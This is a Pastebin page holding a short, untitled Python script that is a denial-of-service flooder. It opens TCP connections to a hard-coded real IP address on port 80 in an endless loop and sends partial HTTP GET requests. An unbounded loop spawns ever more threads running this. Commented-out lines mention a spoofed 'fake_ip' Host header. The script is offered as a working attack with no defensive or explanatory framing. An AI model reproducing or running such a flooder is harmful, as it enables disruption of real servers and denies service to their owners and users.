Advertisement
DecaK

Untitled

Jun 14th, 2022
759
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.55 KB | None | 0 0
  1. import socket, threading
  2.  
  3. def attack_f():
  4.     while True:
  5.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6.         s.connect(('138.68.99.63', 80))
  7.         s.sendto(b'GET /138.68.99.63 HTTP/1.1\r\n', ('138.68.99.63', 80))
  8.         #s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
  9.  
  10.         #global attack_num
  11.         #attack_num += 1
  12.         #print(attack_num)
  13.         #print('s')
  14.         s.close()
  15.  
  16. #attack_num = 5
  17. #attack_f()
  18. while True:
  19.     thread = threading.Thread(target=attack_f)
  20.     thread.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement